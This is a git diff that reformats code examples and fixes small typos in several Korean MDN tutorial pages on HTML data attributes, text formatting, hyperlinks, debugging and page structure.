@@ -77,21 +77,27 @@ table기반의 레이아웃을 `<div>`를 쓰거나 table을 작은 table로 나
 아래와 같이 깊게 중첩된 table 대신
 
 ```html
-<TABLE>
-  <TABLE>
-    <TABLE>
-          ...
-    </TABLE>
-  </TABLE>
-</TABLE>
+<table>
+  <table>
+    <table>
+      ...
+    </table>
+  </table>
+</table>
 ```
 
 중첩되지 않은 table 또는 div를 쓰라
 
 ```html
-<TABLE>...</TABLE>
-<TABLE>...</TABLE>
-<TABLE>...</TABLE>
+<table>
+  ...
+</table>
+<table>
+  ...
+</table>
+<table>
+  ...
+</table>
 ```
 
 #### 그림과 표의 크기를 명시하라
diff --git a/files/ko/learn/html/howto/use_data_attributes/index.md b/files/ko/learn/html/howto/use_data_attributes/index.md
index 3855fc563389ab..7b59a47b792f56 100644
--- a/files/ko/learn/html/howto/use_data_attributes/index.md
+++ b/files/ko/learn/html/howto/use_data_attributes/index.md
@@ -3,6 +3,7 @@ title: 데이터 속성 사용하기
 slug: Learn/HTML/Howto/Use_data_attributes
 original_slug: Learn/HTML/Howto/데이터_속성_사용하기
 ---
+
 {{LearnSidebar}}
 
 [HTML5](/ko/docs/Web/Guide/HTML/HTML5) 특정 요소와 연관되어 있지만 확정된 의미는 갖지 않는 데이터에 대한 확장 가능성을 염두에 두고 디자인되었습니다. [`data-*` 속성](/ko/docs/Web/HTML/Global_attributes#attr-dataset)은 표준이 아닌 속성이나 추가적인 DOM 속성, {{domxref("Node.setUserData()")}}과 같은 다른 조작을 하지 않고도, 의미론적 표준 HTML 요소에 추가 정보를 저장할 수 있도록 해줍니다.
@@ -17,7 +18,7 @@ original_slug: Learn/HTML/Howto/데이터_속성_사용하기
   data-columns="3"
   data-index-number="12314"
   data-parent="cars">
-...
+  ...
 </article>
 ```
 
@@ -28,11 +29,11 @@ original_slug: Learn/HTML/Howto/데이터_속성_사용하기
 `dataset` 객체를 통해 `data` 속성을 가져오기 위해서는 속성 이름의 `data-` 뒷 부분을 사용합니다.(대시들은 camelCase로 변환되는 것에 주의하세요.)
 
 ```js
-var article = document.getElementById('electriccars');
+var article = document.getElementById("electriccars");
 
-article.dataset.columns // "3"
-article.dataset.indexNumber // "12314"
-article.dataset.parent // "cars"
+article.dataset.columns; // "3"
+article.dataset.indexNumber; // "12314"
+article.dataset.parent; // "cars"
 ```
 
 각 속성은 문자열이며 읽거나 쓸 수 있습니다. 위의 경우에서 `article.dataset.columns = 5`와 같이 설정하면 해당 속성을 `"5"`로 변경할 것입니다.
@@ -50,10 +51,10 @@ article::before {
 CSS의 [속성 선택자](/ko/docs/Web/CSS/Attribute_selectors)도 데이터에 따라 스타일을 바꾸는데 사용할 수 있습니다.:
 
 ```css
-article[data-columns='3'] {
+article[data-columns="3"] {
   width: 400px;
 }
-article[data-columns='4'] {
+article[data-columns="4"] {
   width: 600px;
 }
 ```
diff --git a/files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.md b/files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.md
index c14df29c2b93da..0727cdd2c178c1 100644
--- a/files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.md
+++ b/files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.md
@@ -53,11 +53,22 @@ Description lists 는 다른 타입의 리스트와 다르게 {{htmlelement("dl"
 ```html
 <dl>
   <dt>soliloquy</dt>
-  <dd>In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)</dd>
+  <dd>
+    In drama, where a character speaks to themselves, representing their inner
+    thoughts or feelings and in the process relaying them to the audience (but
+    not to other characters.)
+  </dd>
   <dt>monologue</dt>
-  <dd>In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd>
+  <dd>
+    In drama, where a character speaks their thoughts out loud to share them
+    with the audience and any other characters present.
+  </dd>
   <dt>aside</dt>
-  <dd>In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.</dd>
+  <dd>
+    In drama, where a character shares a comment only with the audience for
+    humorous or dramatic effect. This is usually a feeling, thought or piece of
+    additional background information.
+  </dd>
 </dl>
 ```
 
@@ -85,13 +96,15 @@ description list 를 직접 시도해볼 시간입니다. input 필드에 요소
 
 ```html hidden
 <h2>Input</h2>
-<textarea id="code" class="input">Bacon
+<textarea id="code" class="input">
+Bacon
 The glue that binds the world together.
 Eggs
 The glue that binds the cake together.
 Coffee
 The drink that gets the world running in the morning.
-A light brown color.</textarea>
+A light brown color.</textarea
+>
 <h2>Output</h2>
 <div class="output"></div>
 <div class="controls">
@@ -102,10 +115,11 @@ A light brown color.</textarea>
 
 ```css hidden
 body {
-  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+  font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
 }
 
-.input, .output {
+.input,
+.output {
   width: 90%;
   height: 10em;
   padding: 10px;
@@ -129,13 +143,14 @@ function drawOutput() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener("click", function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   drawOutput();
 });
 
-solution.addEventListener("click", function() {
-textarea.value = '<dl>\n  <dt>Bacon</dt>\n  <dd>The glue that binds the world together.</dd>\n  <dt>Eggs</dt>\n  <dd>The glue that binds the cake together.</dd>\n  <dt>Coffee</dt>\n  <dd>The drink that gets the world running in the morning.</dd>\n  <dd>A light brown color.</dd>\n</dl>';
+solution.addEventListener("click", function () {
+  textarea.value =
+    "<dl>\n  <dt>Bacon</dt>\n  <dd>The glue that binds the world together.</dd>\n  <dt>Eggs</dt>\n  <dd>The glue that binds the cake together.</dd>\n  <dt>Coffee</dt>\n  <dd>The drink that gets the world running in the morning.</dd>\n  <dd>A light brown color.</dd>\n</dl>";
   drawOutput();
 });
 
@@ -154,16 +169,23 @@ HTML에는 인용구 표시에 사용할 수 있는 요소가 존재합니다. 
 블록 레벨 컨텐츠의 섹션(문단, 여러 단락, 리스트등)이 인용된 경우, 이를 나타내는 `<blockquote>`요소로 감싸야합니다. 그리고 `cite` 속성에 출처를 표기합니다. 아래의 예시는 MDN `<blockquote>` 요소 페이지를 인용한 것 입니다.
 
 ```html
-<p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
-Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
+<p>
+  The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or
+  <em>HTML Block Quotation Element</em>) indicates that the enclosed text is an
+  extended quotation.
+</p>
 ```
 
 이것을 block quote 로 변경하기 위해서 아래와 같이 할 수 있습니다.
 
 ```html
-<blockquote cite="https://developer.mozilla.org/ko/docs/Web/HTML/Element/blockquote">
-  <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
-  Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
+<blockquote
+  cite="https://developer.mozilla.org/ko/docs/Web/HTML/Element/blockquote">
+  <p>
+    The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or
+    <em>HTML Block Quotation Element</em>) indicates that the enclosed text is
+    an extended quotation.
+  </p>
 </blockquote>
 ```
 
@@ -176,8 +198,12 @@ Quotation Element</em>) indicates that the enclosed text is an extended quotatio
 인라인 인용구는 `<q>` 요소를 사용한다는 점만 제외하면 블럭 인용구와 동일하게 동작합니다. 아래의 마크업 예시는 MDN `<q>` 페이지의 인용문을 포함합니다.
 
 ```html
-<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/ko/docs/Web/HTML/Element/q">intended
-for short quotations that don't require paragraph breaks.</q></p>
+<p>
+  The quote element — <code>&lt;q&gt;</code> — is
+  <q cite="https://developer.mozilla.org/ko/docs/Web/HTML/Element/q"
+    >intended for short quotations that don't require paragraph breaks.</q
+  >
+</p>
 ```
 
 브라우저 기본 스타일은 인라인 인용구를 따옴표로 묶은 일반 텍스트로 표현합니다.
@@ -189,18 +215,32 @@ The quote element — `<q>` — is "intended for short quotations that don't req
 {{htmlattrxref("cite","blockquote")}}요소의 컨텐츠는 유용하게 보이지만 안타깝게도 브라우저, 스크린 리더 등은 이를 이용해서 할 수 있는 것이 많지 않습니다. 브라우저는 javascript나 CSS로 여러분이 직접 해결책을 제시하지 않는다면 `cite` 컨텐츠를 화면에 표시할 방법이 없습니다. 페이지에서 인용 출처를 화면에 나타나게 하고 싶다면 `<cite>` 요소를 사용하는 것이 더 좋습니다. 이는 이름 그대로 출처를 포함하기 위해서 사용됩니다. — `<cite>` 요소 안에 있는 출처에 대한 링크를 연결할 수 있습니다.
 
 ```html
-<p>According to the <a href="https://developer.mozilla.org/ko/docs/Web/HTML/Element/blockquote">
-<cite>MDN blockquote page</cite></a>:
+<p>
+  According to the
+  <a href="https://developer.mozilla.org/ko/docs/Web/HTML/Element/blockquote">
+    <cite>MDN blockquote page</cite></a
+  >:
 </p>
 
-<blockquote cite="https://developer.mozilla.org/ko/docs/Web/HTML/Element/blockquote">
-  <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
-  Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
+<blockquote
+  cite="https://developer.mozilla.org/ko/docs/Web/HTML/Element/blockquote">
+  <p>
+    The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or
+    <em>HTML Block Quotation Element</em>) indicates that the enclosed text is
+    an extended quotation.
+  </p>
 </blockquote>
 
-<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/ko/docs/Web/HTML/Element/q">intended
-for short quotations that don't require paragraph breaks.</q> -- <a href="https://developer.mozilla.org/ko/docs/Web/HTML/Element/q">
-<cite>MDN q page</cite></a>.</p>
+<p>
+  The quote element — <code>&lt;q&gt;</code> — is
+  <q cite="https://developer.mozilla.org/ko/docs/Web/HTML/Element/q"
+    >intended for short quotations that don't require paragraph breaks.</q
+  >
+  --
+  <a href="https://developer.mozilla.org/ko/docs/Web/HTML/Element/q">
+    <cite>MDN q page</cite></a
+  >.
+</p>
 ```
 
 Citations are styled in italic font by default. You can see this code at work in our [quotations.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/quotations.html) example.
@@ -219,12 +259,14 @@ Citations are styled in italic font by default. You can see this code at work in
 
 ```html hidden
 <h2>Input</h2>
-<textarea id="code" class="input"><p>Hello and welcome to my motivation page. As Confucius once said:</p>
+<textarea id="code" class="input">
+<p>Hello and welcome to my motivation page. As Confucius once said:</p>
 
 <p>It does not matter how slowly you go as long as you do not stop.</p>
 
 <p>I also love the concept of positive thinking, and The Need To Eliminate Negative Self Talk
-(as mentioned in Affirmations for Positive Thinking.)</p></textarea>
+(as mentioned in Affirmations for Positive Thinking.)</p></textarea
+>
 <h2>Output</h2>
 <div class="output"></div>
 <div class="controls">
@@ -235,10 +277,11 @@ Citations are styled in italic font by default. You can see this code at work in
 
 ```css hidden
 body {
-  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+  font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
 }
 
-.input, .output {
+.input,
+.output {
   width: 90%;
   height: 10em;
   padding: 10px;
@@ -262,13 +305,14 @@ function drawOutput() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener("click", function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   drawOutput();
 });
 
-solution.addEventListener("click", function() {
-textarea.value = '<p>Hello and welcome to my motivation page. As <a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"><cite>Confucius</cite></a> once said:</p>\n\n<blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html">\n  <p>It does not matter how slowly you go as long as you do not stop.</p>\n</blockquote>\n\n<p>I also love the concept of positive thinking, and <q cite="http://www.affirmationsforpositivethinking.com/index.htm">The Need To Eliminate Negative Self Talk</q> (as mentioned in <a href="http://www.affirmationsforpositivethinking.com/index.htm"><cite>Affirmations for Positive Thinking</cite></a>.)</p>';
+solution.addEventListener("click", function () {
+  textarea.value =
+    '<p>Hello and welcome to my motivation page. As <a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"><cite>Confucius</cite></a> once said:</p>\n\n<blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html">\n  <p>It does not matter how slowly you go as long as you do not stop.</p>\n</blockquote>\n\n<p>I also love the concept of positive thinking, and <q cite="http://www.affirmationsforpositivethinking.com/index.htm">The Need To Eliminate Negative Self Talk</q> (as mentioned in <a href="http://www.affirmationsforpositivethinking.com/index.htm"><cite>Affirmations for Positive Thinking</cite></a>.)</p>';
   drawOutput();
 });
 
@@ -302,7 +346,9 @@ I think Rev. Green did it in the kitchen with the chainsaw.
 
 ```html hidden
 <h2>Input</h2>
-<textarea id="code" class="input"><p>NASA sure does some exciting work.</p></textarea>
+<textarea id="code" class="input">
+<p>NASA sure does some exciting work.</p></textarea
+>
 <h2>Output</h2>
 <div class="output"></div>
 <div class="controls">
@@ -313,10 +359,11 @@ I think Rev. Green did it in the kitchen with the chainsaw.
 
 ```css hidden
 body {
-  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+  font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
 }
 
-.input, .output {
+.input,
+.output {
   width: 90%;
   height: 5em;
   padding: 10px;
@@ -340,13 +387,14 @@ function drawOutput() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener("click", function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   drawOutput();
 });
 
-solution.addEventListener("click", function() {
-textarea.value = '<p><abbr title="National Aeronautics and Space Administration">NASA</abbr> sure does some exciting work.</p>';
+solution.addEventListener("click", function () {
+  textarea.value =
+    '<p><abbr title="National Aeronautics and Space Administration">NASA</abbr> sure does some exciting work.</p>';
   drawOutput();
 });
 
@@ -380,7 +428,10 @@ HTML 에서 `<address>` 태그를 이용해서 연락처 세부 정보를 표시
 
 ```html
 <p>My birthday is on the 25<sup>th</sup> of May 2001.</p>
-<p>Caffeine's chemical formula is C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
+<p>
+  Caffeine's chemical formula is
+  C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.
+</p>
 <p>If x<sup>2</sup> is 9, x must equal 3 or -3.</p>
 ```
 
@@ -411,10 +462,15 @@ para.onclick = function() {
   alert('Owww, stop poking me!');
 }</code></pre>
 
-<p>You shouldn't use presentational elements like <code>&lt;font&gt;</code> and <code>&lt;center&gt;</code>.</p>
-
-<p>In the above JavaScript example, <var>para</var> represents a paragraph element.</p>
+<p>
+  You shouldn't use presentational elements like <code>&lt;font&gt;</code> and
+  <code>&lt;center&gt;</code>.
+</p>
 
+<p>
+  In the above JavaScript example, <var>para</var> represents a paragraph
+  element.
+</p>
 
 <p>Select all the text with <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p>
 
@@ -465,7 +521,9 @@ HTML 은 기계가 읽을 수 있는 형식(machine-readable)으로 시간과 
 <!-- Date and time -->
 <time datetime="2016-01-20T19:30">7.30pm, 20 January 2016</time>
 <!-- Date and time with timezone offset-->
-<time datetime="2016-01-20T19:30+01:00">7.30pm, 20 January 2016 is 8.30pm in France</time>
+<time datetime="2016-01-20T19:30+01:00"
+  >7.30pm, 20 January 2016 is 8.30pm in France</time
+>
 <!-- Calling out a specific week number-->
 <time datetime="2016-W04">The fourth week of 2016</time>
 ```
diff --git a/files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.md b/files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.md
index afe429adc6b6f9..9d64fe4acd3cd0 100644
--- a/files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.md
+++ b/files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.md
@@ -49,8 +49,9 @@ slug: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks
 A basic link is created by wrapping the text (or other content, see [Block level links](#block_level_links)) you want to turn into a link inside an {{htmlelement("a")}} element, and giving it an {{htmlattrxref("href", "a")}} 속성은 (also known as a **target**) 사이트의 주소가 포함된 링크를 당신에게 줍니다.
 
 ```html
-<p>I'm creating a link to
-<a href="https://www.mozilla.org/en-US/">the Mozilla homepage</a>.
+<p>
+  I'm creating a link to
+  <a href="https://www.mozilla.org/en-US/">the Mozilla homepage</a>.
 </p>
 ```
 
@@ -65,10 +66,14 @@ A basic link is created by wrapping the text (or other content, see [Block level
 예제 코드 :
 
 ```html
-<p>I'm creating a link to
-<a href="https://www.mozilla.org/en-US/"
-   title="The best place to find more information about Mozilla's
-          mission and how to contribute">the Mozilla homepage</a>.
+<p>
+  I'm creating a link to
+  <a
+    href="https://www.mozilla.org/en-US/"
+    title="The best place to find more information about Mozilla's
+          mission and how to contribute"
+    >the Mozilla homepage</a
+  >.
 </p>
 ```
 
@@ -78,7 +83,7 @@ A basic link is created by wrapping the text (or other content, see [Block level
 
 > **참고:** 링크 제목은 마우스 호버시에만 공개 된다. 이것은 웹 페이지를 탐색하기 위해 키보드에만 의존하는 사람들이 타이틀 정보에 접근하는데 어려움을 겪게 된다는 것을 의미한다. 만약 title의 정보가 페이지 사용에 있어서 정말로 중요하다면, 해당하는 정보를 일반 텍스트에 넣어줌으로써 모든 사용자가 접근할 수 있는 방식으로 제시해주어야한다.
 
-### 능동학습: 링크를 만들어봅시다.
+### 능동학습: 링크를 만들어봅시다
 
 적극적으로 학습해 봅시다: local code 편집기를 사용해서 하나의 HTML document 를 만드세요. ([소스코드: 템플릿 시작하기](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html)가 잘 될거에요.)
 
@@ -92,7 +97,9 @@ A basic link is created by wrapping the text (or other content, see [Block level
 
 ```html
 <a href="https://www.mozilla.org/en-US/">
-  <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage">
+  <img
+    src="mozilla-image.png"
+    alt="mozilla logo that links to the mozilla homepage" />
 </a>
 ```
 
@@ -115,8 +122,10 @@ URL은 파일들을 찾기위해 path를 이용합니다. path는 당신이 관
 - **같은 디렉토리(폴더)**: `contacts.html`을 가리키는 하이퍼링크를 `index.html`(top level `index.html`) 안에 포함시키려면 현재 파일과 동일한 디렉토리에 연결하려는 파일의 파일 이름만 지정하면 된다. 따라서 사용할 URL은 `contacts.html`: 입니다.
 
 ```html
-<p>Want to contact a specific staff member?
-Find details on our <a href="contacts.html">contacts page</a>.</p>
+<p>
+  Want to contact a specific staff member? Find details on our
+  <a href="contacts.html">contacts page</a>.
+</p>
 ```
 
 - **하위 디렉토리로 하향 이동**: `projects/index.html`을 가리키는 하이퍼링크를 internal `index.html`(`index.html`에 상위 레벨)에 포함시키려면 연결하려는 파일을 표시하기 전에 프로젝트 디렉토리로 내려가야 할 것이다. 이 작업은 디렉토리 이름, 그 다음 슬래시, 그 다음 파일 이름을 지정하여 수행되므로 사용할 URL은`projects/index.html` 입니다.
@@ -148,13 +157,19 @@ Find details on our <a href="contacts.html">contacts page</a>.</p>
 예제:
 
 ```html
-<p>Want to write us a letter? Use our <a href="contacts.html#Mailing_address">mailing address</a>.</p>
+<p>
+  Want to write us a letter? Use our
+  <a href="contacts.html#Mailing_address">mailing address</a>.
+</p>
 ```
 
 Document fragments(문서 조각)를 단독으로 사용하여 동일한 문서의 다른 부분에 연결할 수 있다
 
 ```html
-<p>The <a href="#Mailing_address">company mailing address</a> can be found at the bottom of this page.</p>
+<p>
+  The <a href="#Mailing_address">company mailing address</a> can be found at the
+  bottom of this page.
+</p>
 ```
 
 ### 절대 URL과 상대 URL
@@ -194,18 +209,13 @@ Document fragments(문서 조각)를 단독으로 사용하여 동일한 문서
 _link test:_ [Download Firefox](https://firefox.com)
 
 ```html
-<p><a href="https://firefox.com/">
-  Download Firefox
-</a></p>
+<p><a href="https://firefox.com/"> Download Firefox </a></p>
 ```
 
 _**Bad** link text:_ [Click here](https://firefox.com/) to download Firefox
 
 ```html
-<p><a href="https://firefox.com/">
-  Click here
-</a>
-to download Firefox</p>
+<p><a href="https://firefox.com/"> Click here </a> to download Firefox</p>
 ```
 
 Other tips:
@@ -234,17 +244,23 @@ PDF나 워드 문서와 같이 다운로드되거나 스트리밍되거나(비
 여기서 사용할 수 있는 텍스트의 종류를 보려면 몇 가지 예를 살펴보십시오.:
 
 ```html
-<p><a href="http://www.example.com/large-report.pdf">
-  Download the sales report (PDF, 10MB)
-</a></p>
+<p>
+  <a href="http://www.example.com/large-report.pdf">
+    Download the sales report (PDF, 10MB)
+  </a>
+</p>
 
-<p><a href="http://www.example.com/video-stream/">
-  Watch the video (stream opens in separate tab, HD quality)
-</a></p>
+<p>
+  <a href="http://www.example.com/video-stream/">
+    Watch the video (stream opens in separate tab, HD quality)
+  </a>
+</p>
 
-<p><a href="http://www.example.com/car-game">
-  Play the car game (requires Flash)
-</a></p>
+<p>
+  <a href="http://www.example.com/car-game">
+    Play the car game (requires Flash)
+  </a>
+</p>
 ```
 
 ### 다운로드 연결 시 download attribute 사용
@@ -254,8 +270,9 @@ PDF나 워드 문서와 같이 다운로드되거나 스트리밍되거나(비
 Firefox 39의 Windows 버전에 대한 다운로드 링크가 있는 예:
 
 ```html
-<a href="https://download.mozilla.org/?product=firefox-39.0-SSL&os=win&lang=en-US"
-   download="firefox-39-installer.exe">
+<a
+  href="https://download.mozilla.org/?product=firefox-39.0-SSL&os=win&lang=en-US"
+  download="firefox-39-installer.exe">
   Download Firefox 39 for Windows
 </a>
 ```
@@ -309,7 +326,8 @@ Firefox 39의 Windows 버전에 대한 다운로드 링크가 있는 예:
 아래 예제가 cc, bcc, subject and body 를 포함한다.:
 
 ```html
-<a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&amp;subject=The%20subject%20of%20the%20email &amp;body=The%20body%20of%20the%20email">
+<a
+  href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&subject=The%20subject%20of%20the%20email&body=The%20body%20of%20the%20email">
   Send mail with cc, bcc, subject and body
 </a>
 ```
diff --git a/files/ko/learn/html/introduction_to_html/debugging_html/index.md b/files/ko/learn/html/introduction_to_html/debugging_html/index.md
index 61caec91cc006d..4ac837f75c4969 100644
--- a/files/ko/learn/html/introduction_to_html/debugging_html/index.md
+++ b/files/ko/learn/html/introduction_to_html/debugging_html/index.md
@@ -35,9 +35,9 @@ HTML을 작성을 할 수 있지만, 문제가 생겼을 때 코드의 오류가
   </tbody>
 </table>
 
-## 디버깅은 무섭지 않아요.
+## 디버깅은 무섭지 않아요
 
-여러분이 원하든 원하지않든 무언가 잘못되면 코드가 동작하지 않거나 검파일 애러가 나는 무시무시한 순간이 다가옵니다. 다음과 같이 말이죠
+여러분이 원하든 원하지않든 무언가 잘못되면 코드가 동작하지 않거나 컴파일 오류가 나는 무시무시한 순간이 다가옵니다. 다음과 같이 말이죠
 
 아래는 [Rust](https://www.rust-lang.org/) 언어로 작성된 간단한 프로그램을 {{glossary ( "compile")}}할 때 발생한 오류를 보여줍니다.
 
@@ -62,7 +62,7 @@ HTML은 Rust만큼 복잡하지 않습니다. HTML은 브라우저가 구문 분
 
 > **참고:** 웹이 처음 만들어지면 사람들이 자신의 콘텐트를 게시 할 수 있도록 허용하는 것이 문법이 정확한지 확인하는 것보다 중요하기 때문에 HTML은 허용 된 방식으로 구문 분석됩니다. 처음부터 웹 사이트가 문법오류에 엄격했다면 웹은 오늘날처럼 인기가 있지 않았을 것입니다.
 
-### 자발적 학습 : Permissive한 코드를 배웁니다.
+### 자발적 학습 : Permissive한 코드를 배웁니다
 
 유연한 성질의 HTML 코드를 배울 시간입니다.
 
@@ -70,55 +70,58 @@ HTML은 Rust만큼 복잡하지 않습니다. HTML은 브라우저가 구문 분
 2. Next, open it in a browser. You will see something like this:![A simple HTML document with a title of HTML debugging examples, and some information about common HTML errors, such as unclosed elements, badly nested elements, and unclosed attributes. ](badly-formed-html.png)
 3. This immediately doesn't look great; let's look at the source code to see if we can work out why (only the body contents are shown):
 
-    ```html
-    <h1>HTML debugging examples</h1>
+   ```html
+   <h1>HTML debugging examples</h1>
 
-    <p>What causes errors in HTML?
+   <p>What causes errors in HTML?
 
-    <ul>
-      <li>Unclosed elements: If an element is <strong>not closed properly,
-          then its effect can spread to areas you didn't intend
+   <ul>
+     <li>Unclosed elements: If an element is <strong>not closed properly,
+         then its effect can spread to areas you didn't intend
 
-      <li>Badly nested elements: Nesting elements properly is also very important
-          for code behaving correctly. <strong>strong <em>strong emphasised?</strong>
-          what is this?</em>
+     <li>Badly nested elements: Nesting elements properly is also very important
+         for code behaving correctly. <strong>strong <em>strong emphasised?</strong>
+         what is this?</em>
 
-      <li>Unclosed attributes: Another common source of HTML problems. Let's
-          look at an example: <a href="https://www.mozilla.org/>link to Mozilla
-          homepage</a>
-    </ul>
-    ```
+     <li>Unclosed attributes: Another common source of HTML problems. Let's
+         look at an example: <a href="https://www.mozilla.org/>link to Mozilla
+         homepage</a>
+   </ul>
+   ```
 
 4. Let's review the problems:
 
-    - The {{htmlelement("p","paragraph")}} and {{htmlelement("li","list item")}} elements have no closing tags. Looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin.
-    - The first {{htmlelement("strong")}} element has no closing tag. This is a bit more problematic, as it isn't easy to tell where the element is supposed to end. In fact, the whole of the rest of the text has been strongly emphasised.
-    - This section is badly nested: `<strong>strong <em>strong emphasised?</strong> what is this?</em>`. It is not easy to tell how this has been interpreted because of the previous problem.
-    - The {{htmlattrxref("href","a")}} attribute value has a missing closing double quote. This seems to have caused the biggest problem — the link has not rendered at all.
+   - The {{htmlelement("p","paragraph")}} and {{htmlelement("li","list item")}} elements have no closing tags. Looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin.
+   - The first {{htmlelement("strong")}} element has no closing tag. This is a bit more problematic, as it isn't easy to tell where the element is supposed to end. In fact, the whole of the rest of the text has been strongly emphasised.
+   - This section is badly nested: `<strong>strong <em>strong emphasised?</strong> what is this?</em>`. It is not easy to tell how this has been interpreted because of the previous problem.
+   - The {{htmlattrxref("href","a")}} attribute value has a missing closing double quote. This seems to have caused the biggest problem — the link has not rendered at all.
 
 5. Now let's look at the markup the browser has rendered, as opposed to the markup in the source code. To do this, we can use the browser developer tools. If you are not familiar with how to use your browser's developer tools, take a few minutes to review [Discover browser developer tools](/ko/docs/Learn/Discover_browser_developer_tools).
 6. In the DOM inspector, you can see what the rendered markup looks like: ![The HTML inspector in Firefox, with our example's paragraph highlighted, showing the text "What causes errors in HTML?" Here you can see that the paragraph element has been closed by the browser.](html-inspector.png)
 7. Using the DOM inspector, let's explore our code in detail to see how the browser has tried to fix our HTML errors (we did the review in Firefox; other modern browsers _should_ give the same result):
 
-    - The paragraphs and list items have been given closing tags.
-    - It isn't clear where the first `<strong>` element should be closed, so the browser has wrapped each separate block of text with its own strong tag, right down to the bottom of the document!
-    - The incorrect nesting has been fixed by the browser like this:
-
-      ```html
-      <strong>strong
-        <em>strong emphasised?</em>
-      </strong>
-      <em> what is this?</em>
-      ```
-
-    - The link with the missing double quote has been deleted altogether. The last list item looks like this:
-
-      ```html
-      <li>
-        <strong>Unclosed attributes: Another common source of HTML problems.
-        Let's look at an example: </strong>
-      </li>
-      ```
+   - The paragraphs and list items have been given closing tags.
+   - It isn't clear where the first `<strong>` element should be closed, so the browser has wrapped each separate block of text with its own strong tag, right down to the bottom of the document!
+   - The incorrect nesting has been fixed by the browser like this:
+
+     ```html
+     <strong
+       >strong
+       <em>strong emphasised?</em>
+     </strong>
+     <em> what is this?</em>
+     ```
+
+   - The link with the missing double quote has been deleted altogether. The last list item looks like this:
+
+     ```html
+     <li>
+       <strong
+         >Unclosed attributes: Another common source of HTML problems. Let's
+         look at an example:
+       </strong>
+     </li>
+     ```
 
 ### HTML validation
 
diff --git a/files/ko/learn/html/introduction_to_html/document_and_website_structure/index.md b/files/ko/learn/html/introduction_to_html/document_and_website_structure/index.md
index 4764374c13f690..66c3c6c9267a89 100644
--- a/files/ko/learn/html/introduction_to_html/document_and_website_structure/index.md
+++ b/files/ko/learn/html/introduction_to_html/document_and_website_structure/index.md
@@ -77,14 +77,17 @@ HTML 코드에서 기능에 따라 콘텐츠 섹션을 마크업할 수 있습
 위에서 본 예제는 다음 코드로 표시됩니다([Github 리포지토리에서 예제를 찾아보세요](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html)). 위의 예를 살펴본 다음 아래 목록을 살펴보고 어떤 부분이 시각적 개체의 어떤 섹션을 구성하는지 확인하시기 바랍니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
 
     <title>My page title</title>
-    <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css">
-    <link rel="stylesheet" href="style.css">
+    <link
+      href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One"
+      rel="stylesheet"
+      type="text/css" />
+    <link rel="stylesheet" href="style.css" />
 
     <!-- the below three lines are a fix to get HTML5 semantic elements working in old versions of Internet Explorer-->
     <!--[if lt IE 9]>
@@ -107,34 +110,57 @@ HTML 코드에서 기능에 따라 콘텐츠 섹션을 마크업할 수 있습
         <li><a href="#">Contact</a></li>
       </ul>
 
-       <!-- A Search form is another commmon non-linear way to navigate through a website. -->
+      <!-- A Search form is another commmon non-linear way to navigate through a website. -->
 
-       <form>
-         <input type="search" name="q" placeholder="Search query">
-         <input type="submit" value="Go!">
-       </form>
-     </nav>
+      <form>
+        <input type="search" name="q" placeholder="Search query" />
+        <input type="submit" value="Go!" />
+      </form>
+    </nav>
 
